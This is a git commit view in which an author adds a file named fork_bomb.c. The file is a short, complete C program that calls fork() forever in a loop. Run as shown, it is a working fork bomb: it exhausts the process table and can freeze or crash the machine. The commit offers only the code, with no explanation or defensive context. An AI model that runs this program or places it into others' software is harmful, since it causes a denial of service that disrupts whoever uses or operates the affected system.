diff options
author | Clay Smith <claysmith158@gmail.com> | 2023-08-01 01:09:09 -0500 |
---|---|---|
committer | Clay Smith <claysmith158@gmail.com> | 2023-08-01 01:09:09 -0500 |
commit | 102341d7ae8793c29d44fa416d3b5b797d1eca3e (patch) | |
tree | 6df9a5d5ef978dc6809a7d71d50de6e359dae2e7 /fork_bomb.c |
Diffstat (limited to 'fork_bomb.c')
-rw-r--r-- | fork_bomb.c | 10 |
1 files changed, 10 insertions, 0 deletions
diff --git a/fork_bomb.c b/fork_bomb.c new file mode 100644 index 0000000..b6583e3 --- /dev/null +++ b/fork_bomb.c @@ -0,0 +1,10 @@ +#include <stdio.h> +#include <unistd.h> + + +int main(void) +{ + while(1) + fork(); + return 0; +} |